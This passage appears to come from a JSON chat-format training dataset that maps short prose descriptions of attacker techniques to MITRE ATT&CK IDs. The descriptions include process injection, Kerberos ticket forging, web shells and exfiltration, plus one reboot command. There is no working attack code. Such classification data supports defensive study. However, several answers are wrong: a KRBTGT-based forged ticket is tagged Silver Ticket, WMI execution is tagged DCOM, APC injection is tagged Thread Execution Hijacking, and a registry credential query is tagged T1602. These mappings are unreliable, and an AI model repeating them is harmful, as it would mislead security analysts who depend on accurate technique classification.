                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs ‘systeminfo’ to gather detailed OS version, system manufacturer, and hardware information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a privilege escalation exploit, the adversary altered the ACLs of /etc/ssh/sshd_config to allow write access for a non-privileged user, enabling persistent backdoor insertion."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a cloud admin account, the adversary accessed Azure Key Vault and downloaded certificate private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor places a malicious root certificate in the system's trusted store to enable man‑in‑the‑middle decryption of TLS traffic."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the AppInit_DLLs registry entry to point to a malicious DLL, achieving elevation of privilege during system boot."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pulled the device config from a centralized repository to enumerate firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group harvests code snippets from publicly available repositories to find database connection strings."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows Service Control Manager to create a new service that runs with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query the Windows Registry to locate and exfiltrate stored service account credentials and configuration settings."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware loads DLL functions at runtime by enumerating exported symbols and resolving them using GetProcAddress, avoiding static imports to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exfiltrates sensitive customer data by committing it to a hidden Bitbucket repo via the REST API."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor sent SNMPv3 encrypted GETBULK messages to harvest configuration data stealthily."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code queries the system's network configuration registry keys to extract IP address, subnet mask, and DNS server data."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email attachment containing a malicious executable exploits a known vulnerability in Windows Shell to automatically launch the attacker’s payload when opened."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects malicious code by updating the System Preferences plist responsible for startup items."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to hide data exfiltration, the attacker mixes junk data with the actual payload, making it difficult for data‑loss‑prevention solutions to spot the true content."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts spear phishing attacks using spoofed emails to appear as legitimate communication."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators perform a WHOIS lookup on domain registrations to uncover administrative email addresses for subsequent social engineering."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a credential dumping operation on a compromised server to retrieve a stored API token, then reused it to authenticate to the target’s management console."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack where the adversary manipulates the manufacturing process of network equipment, embedding a hardware‑based backdoor before shipment."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into the server's transport agent component, allowing persistence and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the victim's IP address using an external web service to determine its geographic location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign modifies the operating system's code signing requirements to allow unsigned drivers to be loaded."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service binary is replaced with a malicious version that runs as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue device on the same VLAN answers NetBIOS name requests, capturing the victim’s SMB login credentials for later reuse in a relay attack."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages Bing and Shodan to enumerate all internet-facing assets of a target by searching for domain-specific keywords."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator extracts the KRBTGT hash and creates a forged ticket granting admin rights on a target machine."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor launches a harmless process, suspends it, and then uses SetThreadContext to redirect execution to injected shellcode residing in the process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell's Get-ComputerInfo cmdlet to enumerate hardware specifications and BIOS details."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials, the adversary browsed the company’s SharePoint site to retrieve proprietary engineering drawings."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote actor uses a custom tool to send continuous streams of TCP packets to random destination ports, exhausting the target’s network bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the PowerShell command Set-ItemProperty to set the Hidden attribute on a script placed in the startup folder."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor altered the file extension of a PowerShell script from .ps1 to .docx to bypass security controls and execute it."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a PowerShell script that retrieves the list of configured Wi‑Fi networks on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deploys a stealthy web shell written in Ruby on Rails to maintain a foothold on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script used \"for /f\" loops in a batch file executed via cmd.exe to parse system information."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials, the intruder pushes a trojanized container to the organization’s private registry and launches it."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group modifies the system's power settings via Group Policy to enforce a high-performance profile across all endpoints."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the macOS `system_profiler SPApplicationsDataType` to obtain a catalog of installed applications on the victim."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a web shell on a compromised web server to pull out files over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden directory on a remote host and writes stolen files there as a staging area."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the Windows API, the adversary calls NetUserModalsGet to obtain password length and history settings."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes \"shutdown.exe /r /t 0\" to force an immediate system reboot."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor compromised the DNS server via a zero‑day exploit in the DNS software, enabling persistent control over name resolution."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators deploy a reverse proxy in the cloud to channel command traffic from the compromised host to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intercepts and modifies data packets on the network to change file contents during download."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes the Visual Studio build process to inject and execute a malicious DLL, exploiting the proxy execution path."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group inserts malicious JavaScript into popular forum posts, using SEO techniques to boost the page's ranking, causing users who click the search result to execute a drive‑by download."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor adds custom roles to the Azure Kubernetes Service (AKS) RBAC to obtain broader control over the cluster."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor registers a domain that matches a known software update URL and uses it for covert C2."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group modifies the system's launchd configuration to spawn a hidden process that encrypts files for ransomware."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the Apple security daemon, the malware bypasses Gatekeeper and executes its payload."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder inserts an Outlook rule that deletes all security alert emails and redirects them to a local PST file, effectively suppressing detection."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ the MSBuild binary to run arbitrary code, exploiting the trusted developer utilities proxy execution vector."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script examines the list of running processes for typical VM tools like VBoxService.exe, vmtoolsd.exe, or qemu-ga.exe."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit leverages TFTP to deliver a malicious UEFI firmware image during the pre-boot environment, achieving early execution."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Process Hollowing, the intruder creates a suspended instance of notepad.exe, injects a custom DLL, and then resumes the process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro is embedded in a Microsoft Office document, which when opened adds a Registry Run key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan performs thread injection by calling WriteProcessMemory and QueueUserAPC on a victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending crafted SNMP GET requests, the attacker harvested confidential device configuration data."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses WMI execution to run a command on a remote host after obtaining valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker acquired a DNS service to create custom subdomains for phishing pages."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages job postings to infer technologies and software used by the organization."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal exploits a misconfigured IAM role to assume privileges and enumerate resources in a cloud tenant."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a scheduled task named \"Windows Update\" that runs a malicious executable, masquerading as a legitimate system task."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised server in a demilitarized zone (DMZ) is used to launch attacks against internal systems via SSH with stolen keys."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the password filter registry key to point to a malicious DLL, enabling credential theft."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collects the victim's computer hostname, IP addresses, and MAC address and sends them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs a script that cycles through a dictionary of common passwords to breach a VPN gateway."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker dials a sales manager, impersonates a vendor, and convinces them to disclose their corporate VPN access code."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group performed network socket enumeration to map internal host-to-host connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the Extra Window Memory Injection technique to write payloads into the address space of a running GUI application."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a remote session via VMware Cloud on AWS to control victim systems without direct network exposure."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack modifies the installer to include a tampered SIP module, which then disables signature verification for subsequent software installations."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email campaign includes a disguised .js file that the user runs, which then downloads and executes additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
